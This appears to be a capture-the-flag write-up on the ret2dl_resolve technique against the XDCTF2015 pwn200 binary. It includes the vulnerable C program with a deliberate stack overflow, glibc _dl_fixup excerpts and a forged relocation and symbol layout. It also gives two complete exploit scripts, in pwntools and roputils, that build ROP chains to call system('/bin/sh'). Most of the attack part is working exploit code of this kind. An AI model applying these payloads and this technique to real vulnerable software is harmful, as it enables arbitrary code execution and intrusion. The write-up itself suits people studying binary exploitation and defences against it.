typedef struct {
    Elf32_Addr r_offset; 
    Elf32_Word r_info; 
} Elf32_Rel;
 
#define ELF32_R_SYM(info) ((info)>>8)
#define ELF32_R_TYPE(info) ((unsigned char)(info))
#define ELF32_R_INFO(sym, type) (((sym)<<8)+(unsigned char)(type))

ELF32_R_SYM(Elf32_Rel->r_info) = (Elf32_Rel->r_info) >> 8

typedef struct
{
    Elf32_Word st_name; 
    Elf32_Addr st_value; 
    Elf32_Word st_size; 
    unsigned char st_info; 
    unsigned char st_other; 
    Elf32_Section st_shndx; 
} Elf32_Sym;

#include <unistd.h>
#include <stdio.h>
#include <string.h>
 
void vuln()
{
    char buf[100];
    setbuf(stdin, buf);
    read(0, buf, 256);
}
int main()
{
    char buf[100] = "Welcome to XDCTF2015~!\n";
 
    setbuf(stdout, buf);
    write(1, buf, strlen(buf));
    vuln();
    return 0;
}

glibc-2.23/elf/dl-runtime.c:_dl_fixup()
 
_dl_fixup(struct link_map *l, ElfW(Word) reloc_arg)
{
    
    const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
    
    const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
    
    assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
    
    result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
    
    value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
    
    return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}

rop = 'A'*offset
read@plt
pop esi; pop edi; pop ebp; ret;
0
.bss
0x64
PLT[0] addr
offset:0x0804a040+0x18-0x8048330=0x1d28

.bss=0x0804a040 (fake_stack)
rel_plt = 0x08048330
dynsym = 0x080481d8
dynstr = 0x08048278
传入的fake_stack的数据如下：
偏移：内容
0x00："/bin/sh\x00"
0x08："AAAAAAAA"
0x10："AAAAAAAA"
0x18：0x0804a054 
0x1c：p32(r_info) 
0x20："AAAAAAAA"
0x28：p32(st_name) p32(0x0) p32(0x0) p32(0x12) 
0x38:"system"

from pwn import *
context.log_level = 'debug' 
offset = 112
read_plt = 0x080483a0 
ppp_ret = 0x08048619 
plt0_addr = 0x08048380 
bss_addr = 0x0804a040 
 
r = process('./xdctf-pwn200')
r.recvuntil('Welcome to XDCTF2015~!\n')
 
payload = 'A' * offset
payload += p32(read_plt)
payload += p32(ppp_ret)
payload += p32(0)
payload += p32(bss_addr)
payload += p32(100)
payload += p32(plt0_addr)
payload += p32(0x1d28)
payload += 'A'*0x4
payload += p32(bss_addr) 

r.send(payload)

cmd = "/bin/sh\x00"
 
payload2 = cmd
payload2 += 'A'*0x10
payload2 += p32(0x804a054)
payload2 += p32(0x1e907)
payload2 += 'A'*0x8
payload2 += p32(0x1e00)+p32(0)+p32(0)+p32(0x12)
payload2 += "system\x00"
 
r.send(payload2)
r.interactive()

from roputils import *
from pwn import process
from pwn import gdb
from pwn import context
 
context.log_level = 'debug'
binary = './xdctf-pwn200'
 
r = process(binary)
 
rop = ROP(binary)
 
offset = 112
bss_base = rop.section('.bss')
buf = rop.fill(offset)
buf += rop.call('read', 0, bss_base, 100)

buf += rop.dl_resolve_call(bss_base + 20, bss_base)

 
r.send(buf)
 


buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
buf += rop.dl_resolve_data(bss_base + 20, 'system')
r.send(buf)
 
r.interactive()

def align(self, addr, origin, size):
        padlen = size - ((addr-origin) % size) 
        return (addr+padlen, padlen)
 
def plt(self, name=None):
        if name:
            return self.offset(self._plt[name])
        else:
            return self.offset(self._section['.plt'][0])
 
def dl_resolve_call(self, base, *args):
        jmprel = self.dynamic('JMPREL')
        relent = self.dynamic('RELENT')
 
        addr_reloc, padlen_reloc = self.align(base, jmprel, relent)
        reloc_offset = addr_reloc - jmprel
 
        buf = self.p(self.plt()) 
        buf += self.p(reloc_offset) 
        buf += self.p(self.gadget('pop', n=len(args))) 
        buf += self.p(args) 
 
        return buf